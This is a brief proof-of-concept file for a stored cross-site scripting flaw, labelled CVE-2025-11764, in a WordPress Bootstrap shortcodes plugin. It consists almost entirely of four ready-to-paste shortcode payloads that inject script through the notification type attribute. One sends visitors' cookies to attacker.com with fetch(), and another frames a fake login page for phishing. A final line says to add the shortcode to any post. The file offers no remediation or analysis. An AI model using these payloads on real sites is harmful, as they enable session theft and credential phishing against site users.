CVE-2025-11764

<!-- WordPress Shortcodes Bootstrap Plugin - Stored XSS via [notification] shortcode --> <!-- Required: Contributor-level access or higher --> <!-- PoC 1: Basic script injection --> [notification type='xss"><script>alert(document.cookie)</script>'] Test notification [/notification] <!-- PoC 2: Event handler injection --> [notification type='xss" onerror="alert(String.fromCharCode(88,83,83))'] Test notification [/notification] <!-- PoC 3: img onerror injection --> [notification type='xss"><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] Test notification [/notification] <!-- PoC 4: iframe injection for phishing --> [notification type='xss"><iframe src="https://attacker.com/fake-login" style="width:100%;height:100%">'] Test notification [/notification] <!-- Usage: Add the above shortcode to any WordPress post/page -->

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